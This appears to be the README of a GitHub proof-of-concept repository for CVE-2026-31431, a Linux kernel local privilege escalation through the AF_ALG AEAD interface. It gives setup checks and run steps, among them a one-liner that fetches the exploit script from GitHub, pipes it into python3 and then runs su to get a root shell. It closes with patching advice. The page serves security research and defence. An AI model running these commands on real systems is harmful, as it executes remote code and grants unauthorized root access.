ademzero/cve-2026-31431Educational proof-of-concept demonstrating Linux kernel local privilege escalation via AF_ALG algif_aead (CVE-2026-31431). Includes usage instructions and mitigation guidance for defensive research.
Educational Proof of Concept for CVE-2026-31431, also known as Copy Fail, a Linux kernel local privilege escalation vulnerability involving the AF_ALG / algif_aead cryptographic interface.
[!WARNING] This repository is provided strictly for educational, defensive, and authorized security research purposes only.
Do not run this code on systems you do not own or on systems where you do not have explicit written permission to test.
Unauthorized use may be illegal.
CVE-2026-31431 is a Linux kernel local privilege escalation vulnerability affecting the kernel cryptographic subsystem.
The vulnerability involves the AEAD path exposed through the AF_ALG interface and may allow a local unprivileged user to interfere with page cache data associated with readable files, potentially leading to privilege escalation on vulnerable systems.
This repository contains a minimal educational Proof of Concept intended for controlled lab environments.
The target system must expose the required AF_ALG AEAD algorithm.
You can check this with:
grep -i "authencesn\|authenc" /proc/crypto
The PoC expects support for an algorithm similar to:
authencesn(hmac(sha256),cbc(aes))
If the algorithm is not available, the PoC may fail with an error such as:
FileNotFoundError: [Errno 2] No such file or directory
This means the required kernel crypto algorithm is not available on the system.
Clone the repository:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
Run the PoC:
python3 poc.py
Or run it directly:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
Some Linux systems use /bin/su instead of /usr/bin/su. You can check the correct path with:
which su
If needed, adjust the target path inside poc.py.
If you get FileNotFoundError: [Errno 2] No such file or directory while binding to authencesn(hmac(sha256),cbc(aes)), then the required kernel algorithm is unavailable.
Check available crypto algorithms:
cat /proc/crypto
or more specifically:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
If the PoC references /usr/bin/su but your system uses /bin/su, check with:
which su
Then update the path in poc.py accordingly.
Defenders should update to a patched Linux kernel version provided by their distribution vendor.
After updating the kernel, reboot the system to ensure the patched kernel is active.
Temporary mitigations may include restricting access to affected kernel crypto functionality depending on the environment and distribution.
This project is intended only for:
The author is not responsible for misuse, damage, or illegal activity caused by this code.
Use only on systems where you have explicit authorization.
This project is licensed under the MIT License.